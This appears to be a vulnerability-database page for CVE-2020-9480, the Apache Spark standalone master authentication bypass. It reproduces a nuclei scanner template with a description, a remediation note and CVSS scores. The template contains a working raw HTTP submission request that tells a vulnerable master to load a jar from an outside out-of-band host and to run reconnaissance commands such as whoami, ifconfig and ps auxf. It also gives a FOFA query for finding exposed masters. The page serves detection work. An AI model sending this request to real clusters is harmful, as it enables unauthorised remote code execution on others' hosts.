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Apache Spark - Authentication Bypass

🗓️ 03 Jul 2026 03:01:05Reported by ProjectDiscoveryType 
nuclei
 nuclei
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Apache Spark authentication bypass lets starting resources and executing commands without the shared key.

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id: CVE-2020-9480

info:
  name: Apache Spark - Authentication Bypass
  author: riteshs4hu
  severity: critical
  description: |
    In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine. This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).
  impact: |
    Attackers can execute arbitrary shell commands on the host machine, leading to full system compromise.
  remediation: |
    Update to Spark 2.4.6 or later to fix the vulnerability.
  reference:
    - https://github.com/XiaoShaYu617/CVE-2020-9480/blob/main/20220624_apache_spark_apache_spark_pre-auth_code_execution_cve-2020-9480.py
    - https://nvd.nist.gov/vuln/detail/cve-2020-9480
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-9480
    epss-score: 0.29157
    epss-percentile: 0.97933
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    fofa-query: port="6066" && banner="Spark Master"
  tags: cve,cve2020,apache,spark,auth-bypass,vkev,vuln

variables:
  url: "http://{{interactsh-url}}/{{rand_text_alpha(5)}}.jar"

http:
  - raw:
      - |
        POST /v1/submissions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "action": "CreateSubmissionRequest",
          "clientSparkVersion": "2.3.1",
          "appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],
          "appResource": "{{url}}",
          "environmentVariables": {"SPARK_ENV_LOADED":"1"},
          "mainClass": "Exploit",
          "sparkProperties": {
            "spark.jars": "{{url}}",
            "spark.driver.supervise": "false",
            "spark.app.name": "Exploit",
            "spark.eventLog.enabled": "true",
            "spark.submit.deployMode": "cluster",
            "spark.master": "spark://{{Hostname}}:6066"
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(interactsh_protocol, 'http')"
          - 'contains(body, "CreateSubmissionResponse")'
          - 'contains_any(body, "submissionId", "driverState")'
        condition: and

    extractors:
      - type: regex
        name: submission-id
        regex:
          - '"submissionId"\s*:\s*"([^"]+)"'
          - '"driverState"\s*:\s*"([^"]+)"'
# digest: 490a00463044022009d4d6281511bdacb62d1a771d94923b987aca9a36925064ca0f6c6c0a4046ad022035e8f6de911325d8b4dc3bee027f63fb454dde6775e246d5a90ee448d73b6d35:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 29.3
CVSS 3.19.8
EPSS0.29157
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